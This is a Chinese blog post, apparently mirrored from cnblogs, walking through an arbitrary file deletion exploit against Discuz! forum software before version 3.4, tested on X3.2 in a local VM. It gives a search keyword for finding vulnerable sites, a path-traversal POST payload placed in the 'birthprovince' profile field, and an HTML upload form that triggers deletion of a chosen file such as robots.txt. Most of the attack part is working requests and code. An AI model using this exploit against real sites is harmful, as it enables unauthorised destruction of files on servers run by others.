zoukankan      html  css  js  c++  java
  • 【研究】Discuz<3.4任意文件删除漏洞

    这里以Discuz3.2为例

    关键字:
    Powered by Discuz! X3.2

    时间有限,就不一一截图了,Discuz所有页面全在Discuz_X3.2_SC_UTF8/upload/目录下

    利用过程:

    访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt试试,这是我虚机中discuz中robots的路径,具体视个人情况而定

    1、注册个帐号

    2、提交数据

    url地址栏:http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base
    POST数据:birthprovince=../../../robots.txt&profilesubmit=1&formhash=2bc7eb9a,这个formhash的值可以从源代码中找到,每次都不一样的

    3、提交数据之后,打开设置界面,可以看到出生地变成../../../robots.txt

    4、构造上传表单

    <form action="http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
    <input type="file" name="birthprovince" id="file" />
    <input type="text" name="formhash" value="2bc7eb9a" /> //此formhash值和第三布formhash值一样
    <input type="text" name="profilesubmit" value="1" />
    <input type="submit" value="submit" />
    </form>
    上传成功后,返回空白页面,然后访问http://192.168.1.102/Discuz_X3.2_SC_UTF8/upload/robots.txt,发现robots.txt已被删除

  • 相关阅读:
    php责任链模式
    php工厂模式
    php观察者模式
    php单例模式
    php的抽象类
    Mysqli的常用函数
    PDO的基本操作
    算法--各种算法
    file_get_post实现post请求
    redis的5种数据结构的使用场景介绍
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/7710776.html
Copyright © 2011-2022 走看看